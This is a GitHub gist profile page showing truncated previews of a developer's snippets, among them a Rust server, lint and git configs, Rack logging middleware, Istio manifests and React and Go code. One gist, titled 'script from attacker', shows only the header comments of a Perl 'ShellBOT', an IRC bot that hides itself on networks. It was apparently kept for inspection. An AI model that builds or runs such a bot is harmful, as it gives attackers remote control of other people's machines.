Skip to content

Instantly share code, notes, and snippets.

View quinn's full-sized avatar
🐁
huh

Quinn Shanahan quinn

🐁
huh
View GitHub Profile
@quinn
quinn / README.md
Created July 3, 2024 12:53
codegen administrate

Create a code generator for building simple CRUD UIs on top of queries.

mod templates;
use actix_web::{web, App, HttpRequest, HttpServer, Responder};
use perseus::{Html, PerseusApp};
#[cfg(not(target_arch = "wasm32"))]
pub async fn dflt_server<
M: perseus::stores::MutableStore + 'static,
T: perseus::i18n::TranslationsManager + 'static,
>(
props: perseus::server::ServerProps<M, T>,
{
"extends": [
"eslint:recommended",
"plugin:react/recommended",
"standard"
],
"root": true,
"rules": {
"jsx-quotes": "error",
"indent": ["error", "tab"],
@quinn
quinn / logger_middleware.rb
Last active October 10, 2020 04:42 — forked from skwp/logger_middleware.rb
A request/response logger Rack middleware.
module Middleware
class Logger
def initialize(app)
@app = app
end
def call(env)
headers = env.select {|k,v| k.start_with? 'HTTP_'}
.map {|pair| [pair[0].sub(/^HTTP_/, ''), pair[1]].join(": ")}
.sort
# AddonComponents grafana component is disabled.
---
# AddonComponents istiocoredns component is disabled.
---
# AddonComponents kiali component is disabled.
---
# Resources for AddonComponents prometheus component
@quinn
quinn / attack.perl
Created April 28, 2020 13:38
script from attacker
#!/usr/bin/perl
# ShellBOT
# 0ldW0lf - [email protected]
# - www.atrix-team.org
# Stealth ShellBot Vers�o 0.2 by Thiago X
# Feito para ser usado em grandes redes de IRC sem IRCOP enchendo o saco :)
# Mudan�as:
# - O Bot pega o nick/ident/name em uma URL e entra no IRC disfar�ado :);
# - O Bot agora responde PINGs;
# - Voc� pode definir o prefixo dos comandos nas configura��es;
[color]
ui = auto
[color "branch"]
current = yellow
local = yellow
remote = green
[color "diff"]
meta = yellow
frag = magenta
old = red
import React from 'react'
const FormContext = React.createContext({
formState: {},
update: () => {},
})
export class Form extends React.PureComponent {
state = {
formState: {},
#!bin/bash
set -e
FILE_COUNT=0
check_env() {
if [ -z $CC_TEST_REPORTER_ID ]
then
echo "Please set CC_TEST_REPORTER_ID variable."
package main
import (
"log"
"net/http"
"github.com/gorilla/websocket"
)
var upgrader = websocket.Upgrader{